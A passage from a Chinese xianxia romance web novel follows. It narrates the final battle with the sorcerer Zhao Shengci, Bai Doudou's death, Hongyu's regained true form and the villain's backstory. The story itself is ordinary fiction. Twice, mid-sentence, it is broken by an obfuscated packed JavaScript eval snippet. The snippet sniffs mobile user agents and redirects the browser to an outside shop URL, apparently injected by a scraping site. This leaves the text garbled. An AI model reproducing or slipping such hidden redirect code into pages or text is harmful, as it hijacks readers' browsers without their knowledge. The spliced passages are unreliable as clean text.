落在地上的桃夭斩不知何时重又回到红雨手上,似乎玄都解开石像封印平安归来,对它也产生了什么刺激似的。方才还差点透支生命力的灵器,突然间活力满满,法力充盈。 红雨无暇思虑太多,她将桃夭斩悬停在掌心前,翻腕结盾,身侧的玄都也同时祭出符篆,一红一白两道光束并排挨着冲向劈来的闪电。 两股力量相撞,产生的巨大法力冲击波纹仿佛荡漾在整个平州市上空。 恰好有人行走在街上,感觉天地间刹那闪过一丝光彩,路人抬头向某个方向看去,却见乌云照常翻滚,无事发生。 而城中村基地里,白豆豆推开基地的门,也朝着某个方位看去。常人看不出什么来,可是他看得到。准确地说,是他已经感觉到了。 那是他哥的法术痕迹。他能化形成人,就是他哥渡给他仙气精华。那些东西,虽说是来自九重天之上的,可实际上却是从他哥身体里抽出来的。 那是玄都在天京养护魂魄时吸收的,一直存在他身体里,护着他的肉身和魂魄。他取了其中一部分救下白豆豆,所以白豆豆即使法力低微,但唯独能感受到玄都的法术痕迹。 白豆豆低头看自己颤抖的双手,那些曾经属于玄都的仙泽在躁动、不安。他透过它们感受到,他哥正在不留余力地调用法力,甚至是不顾生死。 一定是遇到了极大的麻烦,否则他哥不会这样。白豆豆茫然地看着基地,几只猫猫狗狗在他脚底下打转,大傻凑近他,用脑袋拱了拱白豆豆的腿。 白豆豆低头,看着大傻,低声咕哝道:“我哥出事了……傻子,我要去帮我哥了。你能听懂我的话,傻,你在家看好大家,听见没?我要是能回来,给你开肉罐头吃。” 大傻眨眨眼睛,呜呜叫了两声。 白豆豆摸了摸他的头,起身,走出基地大门,将门锁好,随后头也不回地朝着一个方向走去。 他感应着玄都的方位,一步一步,毫不犹豫地往前走。 他原本早就该死了,是他哥救了他的命,让他享受到了人间的诸多闲适。他虽然法力弱,但怎么说也是个妖,就算不能所向披靡大杀四方,也要拼尽所有力气帮他哥。哪怕,只是把他体内的这些仙气精华还给他哥也行啊,总归是要帮上忙的。 至于什么死啊活啊的,哪有那么重要?它们做狗狗的,不就是主人最重要了吗?它都能帮着他哥和桃子姐姐抓坏蛋了,它才不怕呢。 ** 诛杀阵中,红白色光束与万钧雷霆针锋相对。双方的力量相差不大,一时陷入了僵持,谁也无法更进一步,谁也没有显出颓势。法力冲击的波纹就这样激荡着,一圈追着一圈,在半空中铺开。 红雨低声道:“这阵法的力量不是来自赵生慈本人,这样拖下去,恐怕我们会先耗尽法力。” 这种关头,玄都反倒很是从容,他声音含笑,依旧像是在寻常的日子里,聊着什么无关紧要的话题。玄都道:“有一件事我没有告诉你。” 红雨倾耳,“什么事?” 玄都收回一侧手臂,也拉下红雨高抬的一只手臂。两人法力各自撤了一般,雷电压得更猛。不过玄都像是浑不在意一般。 红雨没有问他为何这样做,只是低头看着玄都将自己骨节分明的手指,挤进她的指缝间。十指相扣,掌心相贴。 玄都低声道:“我们的法力能够互通共鸣。” “啊?”红雨还没来得及问为何会这样,却已经感觉到,他们相连的掌心间,两股法力纠缠、碰撞,最终融为一体,以一种几乎诡异的幅度增强后,再回到他们各自的体内。 雷电压得更低,红雨来不及细想,各自拿出另一只手,共结一个法印。 红白流纹法盘转动升空,承接住凶悍雷电,猛地向上一托,雷电蓦地被打散。巨大法盘没有停,坚决地朝着阵法中央撞去,哐的一声,法盘应声而碎,接着,细微的咔嚓声响起,是阵法屏障在松动。 阵法显出颓势,红雨惊喜地看向玄都,脸上终于露出一抹放松的笑。玄都看着她重又沾满笑意的双眼,他的目光绵长深沉,仿佛怎么也看不够眼前的这个人。 还没等红雨说些什么,下一秒,一直站在阵法之外袖手旁观看戏的赵生慈突然抬手,手掌贴上阵法屏障。 红雨察觉不对,猛地转头看过去。 赵生慈的手掌像是流出血来,那鲜血顺着他和阵法屏障相接触的位置,像是一个张网缓缓张开,血红网线蔓延开,布满整个术法屏障,像是在这玻璃罩子一般的屏障外,加了一层血红色的蜘蛛网。 但赵生慈并未到此为止,他迈步走入了阵中。方才还畏畏缩缩渐渐消弭的雷电,像是感应到了召唤一样,争先恐后地朝着赵生慈飞去。 那些雷电劈向他们时,凶悍地仿佛要把他们劈成碎渣,可汇聚到赵生慈身上,却像是找到了归宿。 “不好!”红雨知道他在干什么了,“他把自己和这个阵法连在一起了。” 她想起赵生慈之前说的话,这个诛杀阵是集尘世万千怨念而成,而赵生慈修的邪术,就是以激生灵怨气滋养自身,助长自身法力。如此,这二者相连结,势必会互相增益,各自增强。 至于增强的幅度和速度,恐怕不会低于她和玄都的法术共鸣。 突然,一束白色光剑从赵生慈身后刺入,将他整个人穿透,从他身前腹部穿出。红雨怔愣住,看着这混乱的一幕。 赵生慈被光剑刺入,缓缓转身,看向偷袭自己的人。随着他转身,红雨和玄都也看到了他身后的人。 白豆豆也怕到了极点,他收回手,光剑消失,可赵生慈身上的伤口仍在。他以为自己成功了,看向红雨和玄都,正要开口。 “豆豆!!快跑!!”看清是白豆豆后,红雨和玄都齐声喊道。 太晚了,豆豆这一剑,刺的太晚了。如果是赵生慈和这阵法连接之前刺入,或许他们还能趁机战胜赵生慈,可偏偏,是在赵生慈和这阵法连接后。他经过阵法的补益,这一剑对于他而言,不过是毛毛细雨,可豆豆却完完全全置于危险之中。 是以,红雨和玄都连声喊着,让豆豆快跑。 可是,已经来不及了。 白豆豆看着赵生慈,发现他身上的伤口居然正在愈合。白豆豆脸色惨白,余光中,看到为了阻拦赵生慈飞扑攻来的红雨和玄都,却都被阻拦在电闪雷鸣之下。 豆豆来不及低头,只感觉自己喉咙传来剧痛,似乎有空气进入,他看到好多鲜血喷涌而出,飞溅到赵生慈的脸上。 他后知后觉地抬手捂住喉咙,却无济于事。他摸到满手滚烫鲜血,砰然倒下。耳边回荡着桃子姐姐和他哥声嘶力竭的呐喊,“豆豆——” 是在叫他,可是那声音,越来越远,越来越远。他想和他们道个歉的,他还是太笨了,没有帮上什么忙,还害得他们担心。他动了动唇,却说不话来,嘴里呛出一口血沫。 如果他还有下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436958|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈子的话,他一定,还要见到他的桃子姐姐,还要做他哥的弟弟。希望下一次,他能做他哥的亲弟弟…… 还有大傻,他希望,还能看到大傻。还有夏琪姐姐,还有发财,还有老头,还有……还有好多好多的伙伴…… 希望他们此生平安,希望……来生相见。 红雨眼睁睁地看着白豆豆咽气,整个人楞在原地。脑海里,是三百年前那个叫贺秋的明朗少年,彼时她说,来世让他来寻她,她罩着他。 贺秋来了,可是她却没有保护好他。 她想起见到白豆豆的第一眼,那时她没有认出他,可却记得他和基地的毛孩子玩的格外好。那天他咧着笑脸,凑到她和夏琪面前,自来熟地说:“两位姐姐好啊!我是白豆豆!” 豆豆很老实。三百年前做人的时候,枉死而无怨,今生以狗身得人形,依旧乖巧憨厚,每天乖乖地守在基地,守着基地的猫猫狗狗,自得其乐。甚至老实到,即使饿了也只是自己忍着…… 忽然,红雨如疯了一般地捏着桃夭斩冲上去,雷霆万钧压下来,她也全然不顾。玄都没有拦她,只是攥紧拳头,一次次祭出符篆,拼尽全力为她挡下雷电。 红雨拿着桃夭斩,带着满身细碎伤痕冲到赵生慈面前,挥出的每一刀都狠到了极致,哪怕是最坚固的岩石挨上这么一刀也会整齐断裂。赵生慈原本的身体早已垂垂老矣,可如今他用赵桥的身体,身手却敏捷迅速。 他闪躲、反击,赤手空拳,却和红雨打得不相上下。甚至从两人的搏斗中能隐约看出,红雨逐渐处于下风。 红雨自知力竭,但仍不肯退。刺中他,一定要刺中他,她要将他千刀万剐,为豆豆报仇,她一定要杀了他,这样玄都才有一线生机。 刺中他,一定要……刺中啊…… 恨意与执念如万里波涛在红雨心底叫嚣,可还是敌不过法力的流逝和赵生慈愈发凶狠的攻势。 在红雨一刀刺空收刀的间隙,赵生慈抬手抓住弯刀刀刃,即使半个手掌都险些被割掉他也不在乎。他制住红雨的动作,抬手一掌,重如高山滚巨石,猛地击中红雨。 红雨整个人被击飞,在落地之前,被玄都稳稳接住。 玄都抱着红雨稳稳落下,单膝蹲跪着,让她靠在自己怀里。伸出拇指,擦去她唇角流出的血。 红雨眼前被泪水模糊了视线,她透过一层朦胧去看玄都,声嘶哽咽道:“豆豆……豆豆死了……我打不过他……我打不过他了……” “玄都,我打不过他了……”她死死抓住玄都的手掌,整个人都在颤抖,仰头泣血呐喊:“这天道,不公平——” 玄都依旧执着地擦去她唇角的血,对上她的泪眼,温和一笑,坚定道:“可以的,红雨,你永远不会走到末路的,我的红雨,总是能绝处逢生的。” 红雨愣住,完全反应不过来玄都的话。她……还没到末路吗? 下一秒,只见玄都双手扶着她的肩,让她稳当坐好。玄都缓缓起身,站直。 然后,她看见,玄都抬手捂住心口的位置,那里,是天雷印记之所在。可玄都,却从那里,抽出一朵通体水粉的桃花。 单瓣粉红桃——她的真身。 红雨整个人顿住,大脑一片空白。她忘记了反应,只见那朵桃花缓缓进入她的心口,发出一瞬淡粉亮光,又整个没入她的体内,不见了踪影。 身体,瞬间被汹涌的力量填满。如同回到了三百年前,她法力最强的时候。不,比那还要强。她的真身还裹挟着玄都的法力,还有许多许多天京之上的仙气精华。她感觉,她的法力,要远远胜过三百年前。 忽然,桃夭斩尾部拴着的铃铛发出一声脆响。桃夭斩飞起,刀身溢出红色流光。 一个身影缥缈近乎透明的少女从刀身中飞出,她身量和红雨相似,面容也十分相像,却始终闭着眼。 是器灵。 灵器只有在主人的法力达到绝对强悍的程度,并且和主人之间的牵绊足够强,器灵才能化形。就连天京的神仙们,器灵能成功化形的也并不多。 可桃夭斩的器灵,化形了! 这说明,红雨的真身在玄都骨血和仙泽的滋养下,重新与红雨的肉身灵魂融合,使红雨的法力,完全提升到了一个新的境界! 81. 生慈 如鬼影般的器灵绕着红雨的身体飘飞两圈,随后虔诚地跪在红雨身前,双手交握如同祈愿一般,微微低头,额头贴上红雨的眉心,灵光闪烁。下一秒,器灵化为漫天缤纷花瓣,又重新回到桃夭斩内。 汹涌的法力充斥在红雨的整个身体,她颤着手,感受经脉充足到要爆出的法力。真身乍然入体,她竟有些承受不住,心脏激烈跳动,手脚都有些发软,甚至忘记了站起来,依旧这么瘫坐在地上。 “怎……怎么会?”红雨想问,她的真身为什么会在玄都的体内,也想问,为何重新归体的真身强悍如斯。可是她牙齿都在打颤,话也没说全。 玄都没有回答,他的目光落在红雨的眉眼间,缠绵深长。玄都蹲下来,抓住她的手,将她因为颤抖而弯曲的手指一点点捋直,声音含笑,带着无尽的骄傲,“我的红雨,是最厉害的桃花妖,又怎么会打不过他呢?” 这句话提醒了红雨,她的意识渐渐回笼,眼下,还不是问清这些事情的时候。 她拉着玄都的手,缓缓起身,满眼关切地看向玄都。见玄都笑着摇摇头,表示自己没事,红雨放下心来,转头看向赵生慈,投去狠厉的一眼。 赵生慈沉默地站着,那张属于赵桥的、常常笑眯眯的脸,难得有些凝重。赵生慈抬起双手,黑色的烟气在手中升腾,猛地朝着红雨打了出去。与此同时,雷电应招而起,轰响着劈向红雨。 两股力量皆来势汹汹,仿佛出笼的猛兽,要将人撕碎一般。 红雨微一抬手,还没等她结印,一旁的桃夭斩已经骤然升空,从刀身迸射出两道粉红光刃,迎着黑烟和闪电打去。光刃与黑烟和闪电碰撞,没有半分停留。 顷刻间,黑烟与闪电一起消散,两道光刃却带着凛然杀意削入地面,在地上留下两道如沟壑一般的深深刀痕。 红雨怔愣着看了看自己抬起的那只手,又看向桃夭斩。桃夭斩晃了晃刀身,像是淘气的小孩儿在向大人摇头晃脑求表扬。 红雨蓦地转身,看向一直站在她身后,温柔笑着看她的玄都。他一身白衣,迎风而立,飘逸的衣袖在风中扬起,他发丝有些乱,但仪态依旧端正,看不出一丝的狼狈。玄都依旧像是三百年前她初见他时一样,仙风道骨,不染尘埃。 他似乎一直在看着自己,她只要一回头,就能对上他那双温柔好看的眉眼,仿佛在他的眼里,天地之间,唯她一人而已。 红雨勾唇,粲然一笑。只要他在她的身后,她便觉得心安。 赵生慈的脸色完全沉了下来。他千算万算,唯独没有想到,为何这花妖的真身会在那个废物仙人身上?!! 怎么会这样?她的真身为何会放在别人身上?为何归体后,法力能强悍到如此地步? 到了这一步,谁都没了回头的余地。赵生慈要紧牙齿,悍然豁开双手手腕,鲜血如丝溢出,蔓延到整个阵法的上空,刹那间,阵法之中仿佛被一层血色雾气笼罩。 红雨皱眉,她倒不是畏惧,只是有些不解。为何变为赵桥模样的赵生慈,对血如此执着?就好像……他的所有法力必须通过鲜血来释放一样。 “魂寄于身,以血换身,魂为本,血为媒,血肉相融,方得新生。”玄都不知何时走近红雨身旁,温声说了一句。 “什么?”红雨一下子没有反应过来,但略一思忖,突然想起来了什么,“这是之前你带我看过的那本书上的内容!” 那本记载着至阴至邪术法的书,那本玄都让她见到其中术法就跑的书。 玄都颔首,轻声说:“这是一种换命的禁术,想要用此术换命,首先要找到一个和自己八字相合的人,与其互换全身血液,做好这些准备后,最重要的一部,就是自己的魂魄必须被打散,这样碎魂才能循着自己的血,一点点重新汇聚到新的身体里。” 说完,他歪头看着红雨,似叮嘱一般道:“以后要记得,把那本书再好好看一遍。” 红雨点头,脑袋里却在想他刚刚说的话,思索着道:“这么说来,赵桥是因为八字相合被他找到的,又被抢了肉身……那赵桥现在……” “凶多吉少。”玄都道。 红雨来不及多想,因为赵生慈已经离开原地,穿行于血雾之中,不知何时拿着他那檀木手杖朝她攻来,气势汹汹,目标明确。 红雨哼笑一声,手持桃夭斩,迎上他的攻击。刀刃寒芒闪烁,迎上檀木手杖,叮咣巨响。红雨的真身回归体内后,她的法力强悍到近乎恐怖,而桃夭斩器灵得以化形,更加亢奋。 电光火石之间,赵生慈显出颓势。 弯刀一刀刺入他的左肩,力量汹涌,刀刃锋利,他的整个左肩近乎被整个豁开,但他却无知无觉,仿佛不知疼痛。 赵生慈冷笑一声道:“这可不是我的肉身,你以为,你能杀的了我吗?” 红雨恍然,大脑飞速思考,想到玄都方才说的话,一下子反应过来。他用全身所有血液为媒介,又故意设局让她杀了他,并且打散他的魂魄,只是为了用赵桥的肉身复生。怪不得当时她觉得不对劲,一切都是那么顺利,原来是他有意为之。赵生慈居然利用她来完成这最后一步! 恐怕他原来的肉身早就支撑不住了,这三百年间,不知道他寻了多久,才寻找赵桥这样一个和他八字相合的人,恐怕早已迫不及待地换身重生。故而设计,让她找到他栖身的地方,又故意败给她。 现在想来,恐怕他们顺着变态团伙查到赵氏集团,又通过赵氏集团找到他,这一路上,都是他在推波助澜。 既然不是他的肉身,那即使桃夭斩再锋利凶猛,也只能伤到他,可却无法真正地杀了他,好让他和这阵法一起消散。 除非……找到他的命门。命门,灵魂聚集的终点,魂魄聚拢之所在。只有刺入他的命门,才能彻底将他的魂魄从这具不属于他的肉身中打散,才能让他真真正正地消失。 思索间,赵生慈的手杖怼来,红雨抬手挥起桃夭斩抵挡,闪身后退两步。与此同时,桃夭器灵身形虚渺,飘然立于红雨身后。 红雨注视着赵生慈,看见他左肩的伤口鲜血流淌,他却丝毫不在意。红雨微微蹙眉,脑海里无数思绪飘过。 忽然,她看向赵生慈的腹部。那是豆豆偷袭他时刺入的地方,伤口……为何却愈合了? “桃夭!”红雨厉声喝道:“腹部!” 桃夭斩握在她手中未动,可身后的桃夭器灵却轻盈一跃,朝着红雨说的位置,化为淡粉光刃穿入。 器灵无形,攻击确是实打实的。 器灵从赵生慈身前刺入,又在他身后聚拢成型,飘飞回到红雨身侧。 赵生慈缓缓低头,看着腹部溢出的破碎魂光,眼睛一点点睁大,似乎充满了不可置信。 他看着自己的魂魄破碎,溢出,飘远,一点点消失在尘埃中,就好像他这个人,一点点消失在这个世界上,不留一丝痕迹。 他双目空洞,眼神茫然,轰然倒地。红雨站在他几步远的位置,桃夭器灵在她身旁绕飞一圈,像是在撒娇。 她抬手虚虚地撩了一下虚渺如鬼影的器灵,重又看向赵生慈。 红雨以为,他会不甘,可此刻,伴随着诛杀阵缓缓散开,天际乌云退去,阳光再次照耀大地。赵生慈无力地眨了眨眼,直视着刺眼的骄阳,迷惘的神色中,竟然有几分解脱的意味。 “你赢了……”赵生慈的声音很轻,气若游丝,他嘴唇又动了动,仿佛还要说什么,可是生命的流逝,并没有给他这个机会。 他平躺在杂乱的草坪上,清晰地感受着魂魄的一点点消散,慢慢合上双眼。 他的命,一向是不好的。或许是上苍垂怜,让他此生一出生,就带着过往所有轮回的记忆。 他记得,自己在畜生道中挣扎了好几辈子,卑微一生,临终惨死,都没能投生人道。 记得上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445497|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世,是个灾年,又恰逢战乱,他托生成了一条狗,被他主人带着上山挖草根充饥。乱世出贼寇,一人一狗,就这么遇上了一伙土匪。主人是个心善的,喊着让它快跑,快跑…… 可是它也已经很久没吃东西了,如何能跑的动?就这样,一人一狗都死在了土匪的大刀下,鲜血流了一地,那土匪得了一顿饱餐。 它死了,下了地府,到了轮回司。判官说它护主而死,德行积满,下辈子能投胎当个人,还能得个不错的命格。他浑浑噩噩,入了人间。 或许是那时战乱太多,死人也多,地府又挤又乱,不知道是哪里出了岔子,他竟然带着过往轮回的所有记忆下去了。 雁回山西南百里之外,有个叫做“宁安”的镇子。宁安镇上有个姓赵的富户,在那一日,年过半百的赵员外终于迎来了自己的第一个儿子,因感念上天慈悲,赐他一子,让他赵家香火有续,故而取名——赵生慈。 襁褓中的婴孩迷蒙睁眼,看着晃晃悠悠的乳母的下巴,听到屋里不断响起的恭贺声,他知道,他终于是个人了。 他从来不曾有过名姓,赵生慈,是他第一个像样的名字,他很喜欢。可他时时担心老天无眼,下辈子又让他当个猫啊狗啊的,没名没姓,可有可无地过一辈子。 所以,他想留下来,他想长长久久地,留在这人世间。 他从小立志投身仙门,哪怕修个半仙之体也好,而且只要他努力,他说不定能有朝一日羽化登仙。可他拜访无数仙门,却都将他拒之门外,冠冕堂皇地说些什么,他没有仙骨,他德行不够…… 都是借口!他们那些人,精通仙法,通晓万事,一定是看出了他从前都是畜生,瞧不起他,不愿收他! 既然天人道不容他,那他就用自己的法子,也要永远留下来! 他忙碌十余年,搜寻许多术法典籍,虽说都是禁术,一个两个地骂着,瞧不起,可他却觉得,这些正是适合他。 他眼睁睁地看着自己一日日强大,看着越来越多的人信奉他,追随他。慢慢的,整个雁回山,都成了他的地盘。 邪气易于修炼,禁术助他如愿,唯独一点不好,就是修习禁术,反噬太重。于是他于世间搜寻纯澈仙力,或是杀妖取丹,缓解反噬。 慢虽慢矣,却着实有用。 直到,他被一只桃花妖,挖了眼睛。而那花妖身上,却以妖身修天人道,还藏着那么多福泽,他怎么可能放过! 于是这一斗,就斗了三百年。 三百年前,花妖看似杀了他,可他却趁机将满身罪孽渡给了她,让她去替他受那天罚,又拿了她的福泽,保住了性命。 他的魂魄奄奄一息地留在肉身中,可那花妖却引来天雷降世,那天太慌乱了,没人注意到他。直到所有人忙完,才有两个修士草草埋了他的“尸体”。 可那时,他的魂魄还没散,还停留在体内。 福泽运转,起死回生。他挣扎着从土里爬出来,被一位姓乔的人家所救。从此,整个乔家,成了他赵生慈手下利刃。 他用禁术控制着整个乔家,就算偶尔有人敢反抗,也都是以失败告终。他知道自己是在恩将仇报,可是,又怎么样呢? 他只是想留下来,他再也不想,变成一个可有可无的牲口了。 他等了三百年,终于等到赵桥出生,终于等到了这个和他八字相合的孩子,在他肉身腐朽之际,他看到了希望。 而那消声灭迹三百年有余的桃花妖,也重现踪迹…… 他步步为营,满心算计,在这人世间挣扎了三百年,为了留下来,他无数次承受禁术反噬的痛苦,他寻寻觅觅,只为了找到留下来的办法。 现在回想他在这人间的三百多年光阴里,他看着时代变换,人来人去,而他始终,在见不到光的结界中,为了留下来而不留余力。 其实,他想说的最后一句话是:“我……累了……”